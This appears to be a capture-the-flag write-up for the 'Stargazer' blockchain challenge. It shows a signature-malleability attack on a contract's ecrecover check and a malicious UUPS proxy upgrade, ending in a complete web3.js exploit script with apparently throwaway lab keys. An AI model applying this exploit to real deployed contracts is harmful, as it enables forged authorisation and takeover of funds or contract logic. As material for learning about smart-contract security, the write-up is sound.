Stargazer

Sun Dec 15 2024 • HTB Uni CTF 2024 • blockchain • hard

This challenge consists of three smart contracts: Stargazer.sol (an ERC1967 proxy), StargazerKernel.sol (a UUPSUpgradeable contract), and Setup.sol (bootstraps the other two contracts). From Setup.sol, we can also take note of the win condition:

function isSolved() public returns (bool) {
    bool success;
    bytes memory getStarSightingsCall;
    bytes memory returnData;

    getStarSightingsCall = abi.encodeCall(TARGET_IMPL.getStarSightings, ("Nova-GLIM_007"));
    (success, returnData) = address(TARGET_PROXY).call(getStarSightingsCall);
    require(success, "Setup: failed external call.");
    uint256[] memory novaSightings = abi.decode(returnData, (uint256[]));
    
    getStarSightingsCall = abi.encodeCall(TARGET_IMPL.getStarSightings, ("Starry-SPURR_001"));
    (success, returnData) = address(TARGET_PROXY).call(getStarSightingsCall);
    require(success, "Setup: failed external call.");
    uint256[] memory starrySightings = abi.decode(returnData, (uint256[]));
    
    return (novaSightings.length >= 2 && starrySightings.length >= 2);
}

Which makes the objective clear: we need to somehow create an extra sighting for each of the named stars "Nova-GLIM_007" and "Starry-SPURR_001".

Creating a PASKATicket

In order to create a new star sighting, we need to hold one "PASKATicket". There are a couple of functions in StargazerKernel.sol which handle this behaviour:

function createPASKATicket(bytes memory _signature) public onlyProxy {
    StargazerMemories storage $ = _getStargazerMemory();
    uint256 nonce = $.kernelMaintainers[tx.origin].PASKATicketsNonce;
    bytes32 hashedRequest = _prefixed(
        keccak256(abi.encodePacked("PASKA: Privileged Authorized StargazerKernel Action", nonce))
    );
    PASKATicket memory newTicket = PASKATicket(hashedRequest, _signature);
    _verifyPASKATicket(newTicket);
    $.kernelMaintainers[tx.origin].PASKATickets.push(newTicket);
    $.kernelMaintainers[tx.origin].PASKATicketsNonce++;
    emit PASKATicketCreated(newTicket);
}

function _verifyPASKATicket(PASKATicket memory _ticket) internal view onlyProxy {
    StargazerMemories storage $ = _getStargazerMemory();
    address signer = _recoverSigner(_ticket.hashedRequest, _ticket.signature);
    require(_isKernelMaintainer(signer), "StargazerKernel: signer is not a StargazerKernel maintainer.");
    bytes32 ticketId = keccak256(abi.encode(_ticket));
    require(!$.usedPASKATickets[ticketId], "StargazerKernel: PASKA ticket already used.");
}

This function, createPASKATicket, is called by the setup contract when bootstrapping the challenge:

constructor(bytes memory signature) payable {
    TARGET_IMPL = new StargazerKernel();
    
    string[] memory starNames = new string[](1);
    starNames[0] = "Nova-GLIM_007";
    bytes memory initializeCall = abi.encodeCall(TARGET_IMPL.initialize, starNames);
    TARGET_PROXY = new Stargazer(address(TARGET_IMPL), initializeCall);
    
    bytes memory createPASKATicketCall = abi.encodeCall(TARGET_IMPL.createPASKATicket, (signature));
    (bool success, ) = address(TARGET_PROXY).call(createPASKATicketCall);
    require(success);

    string memory starName = "Starry-SPURR_001";
    bytes memory commitStarSightingCall = abi.encodeCall(TARGET_IMPL.commitStarSighting, (starName));
    (success, ) = address(TARGET_PROXY).call(commitStarSightingCall);
    require(success);

    emit DeployedTarget(address(TARGET_PROXY), address(TARGET_IMPL));
}

These functions require us to have a valid ECDSA signature from a "kernel maintainer" in order to generate a PASKA Ticket. We cannot re-use the signature used during contract creation since used signatures are also recorded when a PASKA Ticket is consumed.

Taking a closer look at the _recoverSigner function, we can spot a flaw with how the signature is checked.

function _recoverSigner(bytes32 _message, bytes memory _signature) internal view onlyProxy returns (address) {
    require(_signature.length == 65, "StargazerKernel: invalid signature length.");
    bytes32 r;
    bytes32 s;
    uint8 v;
    assembly ("memory-safe") {
        r := mload(add(_signature, 0x20))
        s := mload(add(_signature, 0x40))
        v := byte(0, mload(add(_signature, 0x60)))
    }
    require(v == 27 || v == 28, "StargazerKernel: invalid signature version");
    address signer = ecrecover(_message, v, r, s); 
    require(signer != address(0), "StargazerKernel: invalid signature.");
    return signer;
}

This uses the global function ecrecover, which recovers the public address for a given ECDSA signature.

Per the Solidity documentation, if this function is not used carefully, a valid signature for a given message and signer can easily be changed into another valid signature, without knowing the private key.1 This is known as signature malleability, where for every set of parameters {r, s, v} used to create a signature, there is one other {r', s', v'} which also produces a valid signature.

Fortunately for us, this specific implementation does not make an attempt to guard against this. We can simply subtract the s value from the order fo the curve used by Ethereum (secp256k1), n, to obtain a new set of values which recover the same address.

function deriveSignature(signature: string): string {
  const r = signature.slice(0, 66);
  const s = '0x' + signature.slice(66, 130);
  const v = '0x' + signature.slice(130, 132);

  let S = BigInt(s)
  let V = BigInt(v)
  
  let N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141")

  let newV = V % 2n == 0n ? BigInt('0x1b') : BigInt('0x1c');

  return r + (N - S).toString(16) + newV.toString(16);
}

We can easily retrieve the signature used during contract creation by getting all PASKATicketCreated events from the contract.

const initialPaskaTicket = (await stargazerContract.getPastEvents('ALLEVENTS', {
  fromBlock: 0,
  toBlock: 'latest'
})).filter(e => "PASKATicketCreated" === e.event)[0];

console.log(web3.eth.abi.decodeParameters([ 
    { "PASKATicket": { "hashedRequest": "bytes32", "signature": "bytes", } }, 
], initialPaskaTicket.data))

(N.B. the address these events are emitted from will be that of the proxy, not the implementation.)

Thus, using this signature, we are able to derive another valid signature which will be accepted.

Upgrading the contract

One ticket is not enough to fulfill the win condition (need to create two star sightings), and we are unable to create subsequent PASKA Tickets since we do not have any other signatures to work with.

Since the contract is UUPSUpgradeable and is interacted with using an ERC1967Proxy, intuitiion tells us we probably need to upgrade the contract to overcome this.

The _authorizeUpgrade function is overriden in StargazerKernel.sol, and it simply consumes one PASKA Ticket.

function _authorizeUpgrade(address _newImplementation) internal override onlyProxy {
    address issuer = tx.origin;
    PASKATicket memory kernelUpdateRequest = _consumePASKATicket(issuer);
    emit AuthorizedKernelUpgrade(_newImplementation);
}

Here, the next steps are obvious. We can create a new contract StargazerKernelPrime using same code as StargazerKernel, with one small difference:

function commitStarSighting(string memory _starName) public onlyProxy {
    address author = tx.origin;
    // PASKATicket memory starSightingCommitRequest = _consumePASKATicket(author); <--
    StargazerMemories storage $ = _getStargazerMemory();
    bytes32 starId = keccak256(abi.encodePacked(_starName));
    uint256 sightingTimestamp = block.timestamp;
    $.starSightings[starId].push(sightingTimestamp);
    emit StarSightingRecorded(_starName, sightingTimestamp);
}

This function will let us create as many star sightings as we want. We can compile this using solc and deploy it onto the network.

solc --overwrite --evm-version cancun --bin --abi -o artifacts contracts/*

To actually perform the contract upgrade, we need to call upgradeToAndCall on the proxy contract with the new implementation address.2

await stargazer.methods.upgradeToAndCall(address, []).send({ from: player });

Finally, we simply call commitStarSighting for the two star names and get the flag.

The final solution is as follows, using web3.js on Node:

import stargazerAbi from "./artifacts/Stargazer.abi?raw"
import stargazerKernelAbi from "./artifacts/StargazerKernel.abi?raw"
import stargazerKernelPrimeAbi from "./artifacts/StargazerKernelPrime.abi?raw"
import stargazerKernelPrimeBin from "./artifacts/StargazerKernelPrime.bin?raw"
import { Web3 } from "web3";

const url = "94.237.50.250:58673";
const player = "0x0Cc147C41423f8d8D0F4e68Ff7Ea30913b21b2e4";
const private = "956e6e4a0a2772a5cf4657a832a4467d8ef863b4a53aa5754965db7b44a0a77b";
const proxyAddress = "0x371293Ae9A7A718e9255B2381F4082C761e3DbAd";

function deriveSignature(signature: string): string {
  const r = signature.slice(0, 66);
  const s = '0x' + signature.slice(66, 130);
  const v = '0x' + signature.slice(130, 132);

  let S = BigInt(s)
  let V = BigInt(v)
  
  let N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141")

  let newV = V % 2n == 0n ? BigInt('0x1b') : BigInt('0x1c');

  return r + (N - S).toString(16) + newV.toString(16);
}

const web3 = new Web3(`http://${url}`);
web3.eth.accounts.wallet.add(`0x${private}`);

const stargazer = new web3.eth.Contract(JSON.parse(stargazerKernelAbi), proxyAddress)

const initialPaskaTicket = (await stargazerContract.getPastEvents('ALLEVENTS', {
  fromBlock: 0,
  toBlock: 'latest'
})).filter(e => "PASKATicketCreated" === e.event)[0];

const initialSignature = web3.eth.abi.decodeParameters([ 
    { "PASKATicket": { "hashedRequest": "bytes32", "signature": "bytes", } }, 
], initialPaskaTicket.data)[0][1];

const signature = deriveSignature(initialSignature);

await stargazer.methods.createPASKATicket(signature).send({ from: player });

const stargazerPrime = new web3.eth.Contract(stargazerKernelPrimeAbi)
const deployer = stargazerPrime.deploy({
    data: stargazerKernelPrimeBin
})
const tx = await deployer.send({ from: player });

await stargazer.methods.upgradeToAndCall(tx.options.address, []).send({ from: player });
   
await stargazer.methods.commitStarSighting("Nova-GLIM_007").send({ from: player });
await stargazer.methods.commitStarSighting("Starry-SPURR_001").send({ from: player });

Footnotes

  1. https://docs.soliditylang.org/en/latest/units-and-global-variables.html

  2. https://docs.openzeppelin.com/contracts/4.x/api/proxy#UUPSUpgradeable


built by panulat v1.4 - Thu, 19 Dec 2024 14:17:23 GMT